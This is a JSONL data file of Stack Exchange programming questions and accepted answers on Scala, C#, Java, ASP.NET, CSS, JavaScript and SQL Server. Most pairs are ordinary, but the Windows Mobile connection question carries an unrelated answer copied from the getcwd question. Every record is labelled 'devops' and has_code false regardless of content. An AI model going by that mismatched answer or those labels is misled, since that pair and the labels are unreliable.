{"id": "hf_1264fc68a0be", "question": "<p>Instead of writing</p>\n\n<pre><code>((x: Double) =&gt; (((y: Double) =&gt; y*y))(x+x))(3)\n</code></pre>\n\n<p>I would like to write something like</p>\n\n<pre><code>((x: Double) =&gt; let y=x+x in y*y)(3)\n</code></pre>\n\n<p>Is there anything like this sort of syntactic sugar in Scala?</p>\n", "question_body": "", "answer": "Indeed there is: it's called \"\n```\nval\n```\n\".  :-)\n```\n```\n({ x: Double =>\n  val y = x + x\n  y * y\n})(3)\n```\n```\nThe braces are of course optional here, I just prefer them to parentheses when defining functions (after all, this isn't Lisp).  The\n```\nval\n```\nkeyword defines a new binding within the current lexical scope.  Scala doesn't force locals to define their own scope, unlike languages such as Lisp and ML.\nActually,\n```\nvar\n```\nalso works within any scope, but it's considered bad style to use it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.771611"}
{"id": "hf_c772c939f2c8", "question": "<p>I'm looking to find a way to access the .net query string contained in the standard ASP.NET request object inside a web service. In other words if I set a SOAP web service to this url:</p>\n\n<p><a href=\"http://localhost/service.asmx?id=2\" rel=\"noreferrer\">http://localhost/service.asmx?id=2</a></p>\n\n<p>Can I access the ID Get variable?</p>\n", "question_body": "", "answer": "I just looked for \"Request\" of the context in asmx file and I saw that. But I'm not sure if it is right.\n```\n```\nthis.Context.Request.QueryString[\"id\"];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.873150"}
{"id": "hf_67877b01c6cc", "question": "<p>I have following string</p>\n\n<pre><code>String str = \"replace :) :) with some other string\";\n</code></pre>\n\n<p>And I want to replace first occurance of <code>:)</code> with some other string</p>\n\n<p>And I used <code>str.replaceFirst(\":)\",\"hi\");</code></p>\n\n<p>it gives following exception</p>\n\n<blockquote>\n  <p>\"Unmatched closing ')'\"</p>\n</blockquote>\n\n<p>I tried using <code>replace</code> function but it replaced all occurance of <code>:)</code>.</p>\n", "question_body": "", "answer": "The\n```\nreplaceFirst\n```\nmethod takes a regular expression as its first parameter. Since\n```\n)\n```\nis a special character in regular expressions, you must quote it. Try:\n```\n```\nstr.replaceFirst(\":\\\\)\", \"hi\");\n```\n```\nThe double backslashes are needed because the double-quoted string also uses backslash as a quote character.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.908088"}
{"id": "hf_4f770c173240", "question": "<p>Parts of my application are in C++ under windows. I need the process id for the current process. Any thoughts? </p>\n", "question_body": "", "answer": "The\n```\nGetCurrentProcessId\n```\nfunction will do this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:44.956224"}
{"id": "hf_a563fe29c19a", "question": "<p>When C# 4.0 comes out and we have the dynamic keyword as described in this <a href=\"http://channel9.msdn.com/pdc2008/TL16/\" rel=\"noreferrer\">excellent presentation by Anders Hejlsberg</a>, (C# is evolving faster than I can keep up.. I didn't have much time to acquaint myself with the var keyword)</p>\n\n<p>Would I still need the var keyword ? Is there anything that var can do.. that dynamic can't?</p>\n\n<pre><code>var x = SomeFunctionThatIKnowReturnsSomeKindOfList();\n// do something with x\n\ndynamic x = SomeFunctionThatIKnowReturnsSomeKindOfList();\n// do something with x\n</code></pre>\n", "question_body": "", "answer": "No, they're very different.\n```\nvar\n```\nmeans \"infer the type of the variable at compile-time\" - but it's still entirely statically bound.\n```\ndynamic\n```\nmeans \"assume I can do anything I want with this variable\" - i.e. the compiler doesn't know what operations are available, and the DLR will work out what the calls\nreally\nmean at execution time.\nI expect to use\n```\ndynamic\n```\nvery rarely - only when I truly want dynamic behaviour:\n```\nvar\n```\nlets you catch typos etc at compile-time\nstatically bound code is always going to run faster than dynamically bound code (even if the difference becomes reasonably small)\nstatically bound code gives more compile-time support beyond just errors: you can find call hierarchies, refactoring will work better, Intellisense is available etc", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.019200"}
{"id": "hf_2299e9880cb6", "question": "<p>Is it possible to create a list that can be access by either an index or a key?</p>\n\n<p><em>I am looking for a Collection type that already exists but has this facility, I want to avoid redefining the indexers</em> </p>\n", "question_body": "", "answer": "You can add an indexer by adding the following property to your collection:\n```\n```\npublic object this[int index]\n{\n    get { /* return the specified index here */ }\n    set { /* set the specified index to value here */ }\n}\n```\n```\nThis can be quickly added in Visual Studio by typing\nindexer\nand pressing [tab] [tab].\nThe return type and indexer type can be changed ofcourse. You can also add multiple indexer types.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.043384"}
{"id": "hf_8b9d472a6c91", "question": "<p>I have the following code that I need to add an additonal object to after the results have been retrieved from the databse. Any Ideas on how I might to this ?</p>\n\n<pre><code>   public IEnumerable&lt;ProdPriceDisplay&gt; GetShopProductsPrices()\n{\n\n    //ProdPriceDisplay ProdPrice = new ProdPriceDisplay();\n    var Products = from shop in db.SHOPs\n                   select new ProdPriceDisplay\n                   {\n                       ProdPrice = shop.S_NAME + \" - £\" + shop.S_PRICE\n                   };\n\n    // *** Want to add something like this:-\n\n    //  Products.Add new ProdPriceDisplay { ProdPrice = \"some additional text\"; }\n\n    return Products;\n}\n</code></pre>\n", "question_body": "", "answer": "That could be a solution;\n```\n```\nvar productsAsList = Products.ToList();\nproductsAsList.Add(new ProdPriceDisplay { ProdPrice = \"some additional text\"; });\n\nreturn productsAsList; // As your return type is IEnumarable, that won't be a problem;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.092303"}
{"id": "hf_a865577cad73", "question": "<p>How to do this in Java - passing a collection of subtype to a method requiring a collection of base type?</p>\n\n<p>The example below gives:</p>\n\n<pre><code>The method foo(Map&lt;String,List&gt;) is not applicable for the arguments (Map&lt;String,MyList&gt;)\n</code></pre>\n\n<p>I can implement by creating a class hierarchy for the typed collections - but is it possible otherwise?</p>\n\n<pre><code>public void testStackOverflow() {\n\n    class MyList extends AbstractList {\n        public Object get(int index) {\n            return null;\n        }\n        public int size() {\n            return 0;\n        }           \n    };\n\n    Map &lt;String, List&gt;   baseColl = null;\n    Map &lt;String, MyList&gt; subColl  = null;\n\n    foo (subColl);              \n}\n\nprivate void foo (Map &lt;String, List&gt; in) {      \n}\n</code></pre>\n\n<p>EDIT: Turns out from the answers that this requires \"bounded wildcard\" so adding this text for searchability</p>\n", "question_body": "", "answer": "Change\n```\nfoo\n```\nto:\n```\n```\nprivate void foo(Map <String, ? extends List> in) {\n}\n```\n```\nThat will restrict what you can do within\n```\nfoo\n```\n, but that's reasonable. You know that any value you fetch from the map will be a list, but you don't know what kind of value is valid to put into the map.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.139127"}
{"id": "hf_e6ccfe7eee9c", "question": "<p>Staring JBoss server from within Eclipse Ganymede gives me the following problem:\n\"Server JBoss v4.0 at localhost was unable to start within 120 seconds. If the server requires more time, try increasing the timeout in the server editor.\"</p>\n\n<p>The console shows JBoss has started in so and so minutes but soon after, there is a pop up if the above message.\nI can also start the JBoss externally. </p>\n", "question_body": "", "answer": "You may check whether you are running Jboss version 4.0.4 or version 4.2.2.  You might get this error when you have installed Jboss 4.2.2 but configured Jboss 4.0.4 in Eclipse.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.163364"}
{"id": "hf_2c0b1230e40f", "question": "<p>I have a list of tables i.e. student, teacher, staff, dept. and so on and each of these tables have comments specific to them. Now one record in a table can have one or many comments that shows it's a one to many relation from any table to comments table. I don't know what the best way is to relate comments table to each of these. If I put foreign key from comments table to each of these tables, it will be like 40-50 fields depending on no. of tables. Secondly if I add foreign key from each of these tables to remarks table, it will be like repeating whole row just for the second remarks foreign key? Similarly if I use just one field in each table as comments, I will be actually storing rows in just one text field. Any suggestions on how to achieve efficient solution?</p>\n", "question_body": "", "answer": "Lets assume that your tables (student, teacher, staff, dept) all have a int primary key named Id.\nFor your comments table you could create a table.\n```\n```\nId int\nCommentType enum (student, teacher, staff, dept)\nLinkId int\nComment\n```\n```\nA row in Comments might look like this\n```\n```\n1,'Student',347,'text'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.199444"}
{"id": "hf_c11e6aaee219", "question": "<p>I have a Flash movie embedded in some DIV. The trouble is that when I change any property of the enclosing DIV dynamically, Firefox (not other browsers) restarts/reinitializes Flash movie effectively resetting the whole progress (eg: file selection for upload, etc.).</p>\n\n<p>Is there some sort of a workaround for this?</p>\n", "question_body": "", "answer": "Try hiding it with\n```\nvisibility:hidden\n```\nor if all else fails,\n```\nposition:absolute;left:-9999px\n```\n.\nI presume Firefox doesn't want to waste memory and CPU on Flash animation that's invisible, so it kills it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.248091"}
{"id": "hf_c0f691a88b51", "question": "<p>In previous releases there were 3 ways to pass data from controller to view AFAIK (shown below). </p>\n\n<p>I want to use method (2) with MVC Beta 1, but I can't find the renderView method. So what's the new syntax (if it's still possible)? Thanks in advance.</p>\n\n<p>Ben.</p>\n\n<p>Syntax #1: Old-school dictionary</p>\n\n<pre><code>ViewData[\"Name\"] = \"Moo-moo\";\nViewData[\"Age\"] = 6;\nViewData[\"HasFunnyFace\"] = true;\nRenderView(\"ShowCat\");\n</code></pre>\n\n<p>Syntax #2: Explicitly-typed ViewData object</p>\n\n<pre><code>RenderView(\"ShowCat\", new ShowCatViewData {\n    Name = \"Moo-moo\",\n    Age = 6,\n    HasFunnyFace = true\n});\n</code></pre>\n\n<p>Syntax #3: Anonymously-typed object</p>\n\n<pre><code>RenderView(\"ShowCat\", new { \n    Name = \"Moo-moo\", \n    Age = 6, \n    HasFunnyFace = true \n});\n</code></pre>\n", "question_body": "", "answer": "In beta 1, use the View method:\n```\n```\nreturn View (\"ShowCat\", <TYPED_DATA_SET_OR_OTHER_MODEL>);\n```\n```\nThe View method has replaced the RenderView method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.308226"}
{"id": "hf_e14eeba80c1a", "question": "<p>I create new ASP.NET web application that use SMTP to send message. The problem is the smtp was not authenticated from who send the message.   </p>\n\n<p>How can I make SMTP authenticated in my program? does C# have a class that have attribute for enter username and password?</p>\n", "question_body": "", "answer": "```\n```\nusing System.Net;\nusing System.Net.Mail;\n\nusing(SmtpClient smtpClient = new SmtpClient())\n{\n    var basicCredential = new NetworkCredential(\"username\", \"password\"); \n    using(MailMessage message = new MailMessage())\n    {\n        MailAddress fromAddress = new MailAddress(\"from@yourdomain.com\"); \n\n        smtpClient.Host = \"mail.mydomain.com\";\n        smtpClient.UseDefaultCredentials = false;\n        smtpClient.Credentials = basicCredential;\n\n        message.From = fromAddress;\n        message.Subject = \"your subject\";\n        // Set IsBodyHtml to true means you can send HTML email.\n        message.IsBodyHtml = true;\n        message.Body = \"<h1>your message body</h1>\";\n        message.To.Add(\"to@anydomain.com\"); \n\n        try\n        {\n            smtpClient.Send(message);\n        }\n        catch(Exception ex)\n        {\n            //Error, could not send the message\n            Response.Write(ex.Message);\n        }\n    }\n}\n```\n```\nYou may use the above code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.333635"}
{"id": "hf_482207c69307", "question": "<p>When starting a new ASP.NET application, with the knowledge that at some point in the future it must scale, what are the most important design decisions that will allow future scalability without wholsesale refactoring?</p>\n", "question_body": "", "answer": "My Top three decisions are\nDisabling or storing session state\nin a database.\nStoring as little as possible in session state.\nGood N-Tier Architecture. Separating business logic and using Webservices instead of directly accessing DLL's ensures that you can scale out both the business layer as well as the presentation layer. Your database will likely be able to handle anything you throw at it although you can probably cluster that too if needed.\nYou could also look at partitioning data in the database too.\nI have to admit though I do this regardless of whether the site has to scale or not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.385093"}
{"id": "hf_8e30dcc64387", "question": "<p>Is it possible to get a list of all instances with a name in a flash movie using actionscript 2. Like an array containing all named text areas, or all movieClip instances etc. I would like to get this so the designer can add or remove text areas etc. and the actionscript can dynamically find these and get the texts from a separate datasource. </p>\n\n<p>I guess what I want is something like a DOM tree or even better something like how getElementByName() works in JavaScript. And allso get the string value of the instance name so I can find it's text value in an xml.</p>\n\n<p>Let's say the designer add a new text area with the name \"copyright\" and my code should (without having to change the script) find the data with the id \"copyright\" in an XML file if it is there, and add the value to the text area.</p>\n", "question_body": "", "answer": "It's been a while since I did any AS2 coding but perhaps you could use a combination of MovieClip.getInstanceAtDepth() and this.getNextHighestDepth() to find the highest depth in your movie then trace back through each lower depth until you find a getInstanceAtDepth() that corresponds to the clip you are looking to populate with new data.\nI also noticed this example code in the AS2 documentation.\nThe following code traces the depth of all movie clip instances on the Stage:\n```\n```\nfor (var i in this) {\n    if (typeof (this[i]) == \"movieclip\") {\n    trace(\"movie clip '\"+this[i]._name+\"' is at depth \"+this[i].getDepth());\n    }\n}\n```\n```\nPS: I know you probably don't want to hear this but in AS3 it's a doddle as you can just iterate through this.children!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.422670"}
{"id": "hf_c26274fb5e9a", "question": "<p>I have a really simple ASP.NET web application and a web setup project that deploys the project output and content files to a virtual directory in IIS.</p>\n\n<p>What I want is for the MSI to automatically disable Anonymouse Access for that virtual folder in IIS. </p>\n\n<p>I suspect it can probably be done by writing some code in a custom action DLL, that would be acceptable, but is there any way to do it within the the settings of the web setup project?</p>\n", "question_body": "", "answer": "Taken from technet\nThe property for anonymous access is\n  unfortunately not available through\n  Web setup projects. For this reason,\n  you must:\nWrite a custom installer to enable or disable anonymous access.\nPass the necessary parameters from the setup wizard to the installer at\n  run time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.455031"}
{"id": "hf_0363af846cf5", "question": "<p>I just want to create a C# program which will read a word template and create n number of copies of it with mail merge feature.The data to replace is Name and Address the rest of the things in the template should remains the same. Can any one tell me how to do this ?</p>\n", "question_body": "", "answer": "You can use Aspose.Word for handling the Word Object model without having to have office installed (to use interop) where the program is supposed to run, i'm using Aspose.Word to generate word  documents.\nLink to Aspose:\nhttp://www.aspose.com/categories/file-format-components/aspose.words-for-.net-and-java/default.aspx\nAnd it works quite decent :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.536134"}
{"id": "hf_7f4d517d1189", "question": "<p>If I put a DateTime value into an Excel cell using <code>Range.set_value</code> through .Net COM Interop, and then retrieve the value of that same cell using <code>Range.get_value</code>, the Millisecond part of the value is not returned, though everything else is correct.</p>\n\n<p>Is this a bug?</p>\n\n<p>What is the workaround? I'm guessing that using the Value2 property instead might help. Has anybody else tried this?</p>\n", "question_body": "", "answer": "If you set a date/time with a millisecond value in Excel manually, does it maintain it? I don't know about the Excel internal object model, but it's conceivable that it just doesn't support milliseconds.\nEDIT: Okay, now we know that the set fails (the get may also fail, of course)... you could try setting it as a double after converting it via\nDateTime.ToOADate()\n. I'm not saying I'm holding out\nmuch\nhope, but it's worth a try...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.561277"}
{"id": "hf_d6c801626ccc", "question": "<p>in javascript, when I receive a focus event, how can I work out which element has lost focus? I'm trying to avoid having to put an onblur event handler on all elements within my web page. </p>\n", "question_body": "", "answer": "@pbrodka: the target/srcElement property would refer to the element with focus for onfocus events\noffhand I can't see a way to get this short of onblur, or if the set of objects you care about all have focus methods you could store a reference to that object instead. It's also possible event bubbling could get you out of jail\nthis all feels like a bit of a code smell though - perhaps you need to describe the problem in more detail", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.585453"}
{"id": "hf_908e1f81d4b5", "question": "<p>This is the HTML:</p>\n\n<pre><code>&lt;div id=\"testBlue\"&gt;\n    &lt;span&gt;hello&lt;/span&gt;\n    &lt;span id=\"testGreen\" class=\"testGreen\"&gt;hello2&lt;/span&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>If I have set in CSS:</p>\n\n<pre><code>#testBlue span { color:Blue; }    \n.testGreen, #testGreen { color:Green; }\n</code></pre>\n\n<p>How can I override the general style in the second SPAN?</p>\n\n<p>I have tried both id and class selectors but it doesnt override it.</p>\n", "question_body": "", "answer": "```\n```\n#testGreen { color: red !important;}\n```\n```\nor\n```\n```\n.testGreen { color: red !important;}\n```\n```\nEither will override the inherited rule, because\n```\n!important\n```\nputs more weight to one side of an an otherwise equal decision.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.621507"}
{"id": "hf_40fb11a00316", "question": "<p>I have many jobs that have a step to send 1 specific email out to a list of people.  That list of reciepients is hardcoded in the step command and I need to remove one person from that list, in all jobs.</p>\n\n<p>How do I loop through ALL the jobs in the Sql Server Agent and modify the command text to find+replace a specific piece of text.  </p>\n\n<p>I am using sql server 2005 and have already looked at sp_update_jobStep but doesn't appear to be exactly what i want.</p>\n\n<p>Cheers.</p>\n", "question_body": "", "answer": "You could try to update the System tables that hold the information on jobs of the SQL server directly. The relevant ones for you would be:\n```\n```\nmsdb.dbo.SysJobs\nmsdb.dbo.SysJobSteps\n```\n```\nIf you have a specific email address to remove, you could update the\nCommand\nfield in the\nSysJobSteps\ntable with a single UPDATE statement.\n```\n```\nUPDATE SJS SET\n    Command = REPLACE(Command, 'EmailAddress&TestDomain.Com', '')\nFROM msdb.dbo.SysJobs SJ\nINNER JOIN msdb.dbo.SysJobSteps SJS\n    ON SJS.Job_Id = SJ.Job_Id\nWHERE SJ.Originating_server = ..... -- Your server here\n    AND SJS.Command LIKE '%EmailAddress@TestDomain.Com%'\n```\n```\nIt would be advisable to run the above query as a SELECT statement first, to test it returns only the job steps your are expecting to update.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.665929"}
{"id": "hf_24cb55f2ff0f", "question": "<p>I have some jQuery/JavaScript code that I want to run only when there is a hash (<code>#</code>) anchor link in a URL. How can you check for this character using JavaScript? I need a simple catch-all test that would detect URLs like these:</p>\n<ul>\n<li><code>example.com/page.html#anchor</code></li>\n<li><code>example.com/page.html#anotheranchor</code></li>\n</ul>\n<p>Basically something along the lines of:</p>\n<pre><code>if (thereIsAHashInTheUrl) {\n    do this;\n} else {\n    do this;\n}\n</code></pre>\n", "question_body": "", "answer": "Simple use of\nlocation hash\n:\n```\n```\nif(window.location.hash) {\n  // Fragment exists\n} else {\n  // Fragment doesn't exist\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.687920"}
{"id": "hf_9c0d8c39d054", "question": "<p>Following the <a href=\"http://www.json.org/JSONRequest.html\" rel=\"nofollow noreferrer\">JSONRequest proposa</a>l, I've found <a href=\"http://www.devpro.it/code/153.html\" rel=\"nofollow noreferrer\">code for the JSONRequest object</a>. However, this object depends on JSONRequestError, and the code for that is nowhere to be found.</p>\n\n<p>Anyone know where I can find the code?</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "I used the request\n```\nJSONRequestError site:devpro.it\n```\nin Google, it is a useful tip... ^_^\nFound\nJSONRequestError.js\nwhich explain the API, and ... hmm, no source code!\nJust poked around the magical number 153, got lucky:\nJSONRequestError.js\n:-D", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.716315"}
{"id": "hf_ac5dfc0ff65d", "question": "<p>I'm making a C program where I need to get the directory that the program is started from.  This program is written for UNIX computers. I've been looking at <code>opendir()</code> and <code>telldir()</code>, but <code>telldir()</code> returns a <code>off_t (long int)</code>, so it really doesn't help me. </p>\n\n<p>How can I get the current path in a string (char array)?</p>\n", "question_body": "", "answer": "Look up the man page for\n```\ngetcwd\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.739640"}
{"id": "hf_0dd170c2c547", "question": "<p>On windows mobile when there is no internet connection and I try to\nbrowse the web using internet explorer i get cannot connect\ninformation at the top of the screen. It says cannot connect with\ncurrent connection settings. To change your connection settings, tap\nsettings. And I am able to tap Settings and setup network connections.\nHow can I display cannot connect information programmatically? When I\ncannot connect to a webservice using my application I would like to\nshow the same information and let the user set up network connections.\nI use compact framework 2.0 and csharp.</p>\n\n<p>Thanks in advance. </p>\n", "question_body": "", "answer": "Look up the man page for\n```\ngetcwd\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.763483"}
{"id": "hf_e55ffe52016b", "question": "<p>I'm using Tomcat 5.5 as my servlet container. My web application deploys via .jar and has some resource files (textual files with strings and configuration parameters) located under its WEB-INF directory. Tomcat 5.5 runs on ubuntu linux. The resource file is read with a file reader:<br>\n<code>fr = new FileReader(\"messages.properties\");</code></p>\n\n<p>The problem is that sometimes the servlet can't find the resource file, but if i restart it a couple of times it works, then again after some time it stops working.\nCan someone suggest what's the best way of reading resource strings from a servlet? Or a workaround for this problem?\nPutting the resource files under WEB-INF/classes doesn't help either.</p>\n", "question_body": "", "answer": "I'm guessing the problem is you're trying to use a relative path to access the file.\nUsing absolute path should help (i.e. \"/home/tomcat5/properties/messages.properties\").\nHowever, the usual solution to this problem is to use the getResourceAsStream method of the ClassLoader. Deploying the properties file to \"WEB-INF/classes\" will make it available to the class loader and you'll be able to access the properties stream.\nUntested proto-code:\n```\n```\nProperties props = new Properties();\n\nInputStream is =\ngetClass().getClassLoader().getResourceAsStream(\"messages.properties\");\n\nprops.load(is);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.803229"}
{"id": "hf_67fbc40bbf6c", "question": "<p>IBM Rational Application Developer is very slow and has many problems.</p>\n\n<p>I tried to use ant scripts to build EAR/WAR files for Websphere Application Server\nbut it did not work.</p>\n", "question_body": "", "answer": "My understanding is that you build the EAR/WAR, then open your browser, login to the admin console, then deploy your application.\nIf my understanding is correct, just add an instance of the WAS server to your workspace, and then right click on the server, select Add/Remove Projects and add your project. This way, you don't have to build the EAR/WAR file at all... Building your project is enough. If the build is successful, then RAD automatically builds the EAR/WAR and publishes the file to the server.\nAtleast that's the way we do it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.856313"}
{"id": "hf_3235392647ac", "question": "<p>I need to write a little tool for a customer to be run on Windows 98. Since this is a very small project I'd hope that I could avoid having to go native C++ and use C#.</p>\n\n<p>The <a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=0856eacb-4362-4b0d-8edd-aab15c5e04f5\" rel=\"noreferrer\">.net Framework 2.0 download</a> claims to support Windows 98. Are there any caveats or hitches to be aware of when installing or coding?</p>\n", "question_body": "", "answer": ".NET 2.0 supports Windows 98, but you won't have access to some of the base library classes such as EventLog.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.961042"}
{"id": "hf_38bb94a877bb", "question": "<p>I Have a problem with my custom Addin to word because sometimes, MS Word was disabled my addin, and I need to write another AddIn, which Was enabled to turn - on/off my first AddIn. Is it possible?</p>\n\n<p>sorry for my English  :(</p>\n", "question_body": "", "answer": "What kind of add-in technology are you using? VSTO? \nWhat version of Office are you using?\nIn general it is possible to do what you want. However, the reason that Office disables add-ins is that the add-in threw an unhandled exception. In that case Office will set the\n```\nLoadBehavior\n```\nvalue in the Registry to 2.\nMaybe it would be better to analyze and handle the underlying problem causing the exception.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:45.983753"}
{"id": "hf_f1d387eee35c", "question": "<p>I'm trying to make <a href=\"https://stackoverflow.com/questions/298491/how-do-i-receive-clicks-outside-a-forms-window\">a window that closes when you click outside it</a>, and at the moment I'm looking into doing that by handling the WndProc function.</p>\n\n<p>None of the messages I'm getting so far seem useful, but there are a few I don't understand at all.  What do codes 0x0118, 0xC123, 0xC128 and 0xC12E represent?</p>\n", "question_body": "", "answer": "An easy way would be to just capture the mouse.  When you have the mouse captured you get one click event outside your window, then capturing is turned off.\nA harder way would be to set a low-level mouse windows hook.  To do a global hook, you'll have to put your hook code in an unmanaged DLL.\nA\nreally\neasy way would be to just close your form when it's deactivated.\nEDIT\n:\nOops.  I just realized I didn't answer your direct question about the message IDs.  Message 0x118 is not defined in winuser.h, so I assume it's an undocumented message ID.  Message IDs in the range 0xC000 to 0xFFFF are application-defined messages.  These IDs are returned by\n```\nRegisterWindowMessage\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.080140"}
